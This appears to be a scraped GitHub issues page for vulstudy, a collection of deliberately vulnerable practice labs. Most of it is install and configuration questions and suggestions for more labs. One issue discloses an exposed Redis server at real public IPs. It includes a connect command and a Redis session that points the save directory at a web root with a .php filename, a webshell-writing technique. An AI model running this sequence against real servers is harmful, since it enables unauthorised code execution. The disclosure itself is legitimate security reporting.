c0ny1 / vulstudy Goto Github PK

Step 22/30 : ADD build/default /etc/nginx/sites-available/default
ERROR: Service 'web' failed to build: ADD failed: file not found in build context or excluded by .dockerignore: stat build/default: file does not exist

安装报错信息如下，希望能尽快解决下：

webGoat：

vulnerable-node

Redis instance (1.14.157.192) is accepting anonymous connections at port 6379, you can start enumerating the service after connecting anonymously to :

1. redis-cli -h 52.9.41.95

In both the cases you will have authenticated access to the server and you can enumerate anything in it. I am able to enumerate client list, check pidfile location, perform remote code execution, view real time logs on it.

RCE:
1.14.157.192:6379> config set dir /var/www/html
OK
1.14.157.192:6379> config set dbfilename redis.php
OK
(1.50s)
1.14.157.192:6379> set test ""
OK
(1.30s)
1.14.157.192:6379> save
(error) ERR
(0.52s)
1.14.157.192:6379> bgsave
Background saving started
(1.20s)
1.14.157.192:6379>

Client list exposes the internal servers but I can only see my IP in it right now maybe you guys don't connect on this a lot but still secure it by restricting the port to only tcp and put noauth if udp is required.

大佬怎么不把你项目里的 文件上传 和 XXE 的两个靶场一起做进去，这样岂不是更完美，另外不知大佬有没有听说一个叫XSS挑战之旅的 xss靶场，我觉得也很不错，大佬可以一起做进去，如果没有资源的话，我这边可以发你~

补充一些BWVS、DoraBox、Wooyun_DVWA、 ZVulDrill、 XVWA 、OWASP Security Shepherd、WebGoat、WAVSEP、各类xss挑战

用虚拟机的box集群管理还可以实现更完整的模拟windows+iis的漏洞。

大佬不考虑整合一下pikachu吗

创建WebWolf容器时如果不是使用的的默认ip和端口 http://localhost:8081
在WebGoat Admin password reset 这一关填写邮件地址后会导致无法发送邮件给WebWolf
例如: http://10.1.1.111:8080/WebGoat/start.mvc#lesson/Challenge7.lesson

分析返回值发现webwolf的mail配置用的是默认配置

代码逻辑对应 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java

配置文件对应 webgoat-container/src/main/resources/application-webgoat.properties

建议在WebGoat对应的docker-compose.yml 启动命令或启动脚本中增加环境变量WEBWOLF_HOST和WEBWOLF_PORT 来指定非默认环境情况下WebWolf的ip和端口

我想知道用的是2还是3，因为我同时安装了2和3，但默认是3，正常的都默认安装2，这会有影响吗

靶场中的内容很好，但是如何从零开始搭建一个网络靶场有没有什么好的学习教程？

页面显示Unable to connect to the database: security

Hackademic 打开后进入安装页面，如何配置使用，而且还需要数据库账号密码

查看原因好像是因为新版数据库docker必须配置用户名和密码，这个该在哪里配置呀，怎么更改数据库postgres_db的用户名和密码呀

很好的资源，谢谢。是否考虑加入juice-shop？

README中的0x3 FAQ出现笔误, 将Chrome 笔误写成了chorme.
此外, 顺带说一句, 项目很棒~

如图所示，在一次docker-compose up -d 后，会出现不能连接数据库的错误。提示信息为：[*]...................Could not connect to DB, check the creds in db-creds.inc: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)